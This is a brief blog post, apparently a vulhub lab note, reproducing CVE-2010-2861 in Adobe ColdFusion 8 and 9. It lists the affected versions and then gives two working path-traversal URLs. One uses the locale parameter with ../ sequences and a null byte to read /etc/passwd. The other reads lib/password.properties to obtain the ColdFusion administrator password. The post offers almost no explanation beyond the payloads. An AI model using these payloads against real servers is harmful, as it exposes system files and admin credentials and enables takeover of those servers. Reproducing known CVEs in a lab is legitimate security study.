cve-2010-2861
2023-02-23 11:31:00 #vulhub #Adobe ColdFusion

cve-2010-2861

Harm version

1
2
Adobe ColdFusion 8
Adobe ColdFusion 9

Init

url:http://172.16.40.142:8500/CFIDE/administrator/index.cfm

image-20230223113748546

Run poc(开无痕体验感更佳)

Url

1
http://172.16.40.142:8500/CFIDE/administrator/index.cfm?locale=../../../../../../../../../../etc/passwd%00en

image-20230223114135410

Cat web admin pwd

url

1
http://172.16.40.142:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

image-20230223114602979

上一页
2023-02-23 11:31:00 #vulhub #Adobe ColdFusion
下一页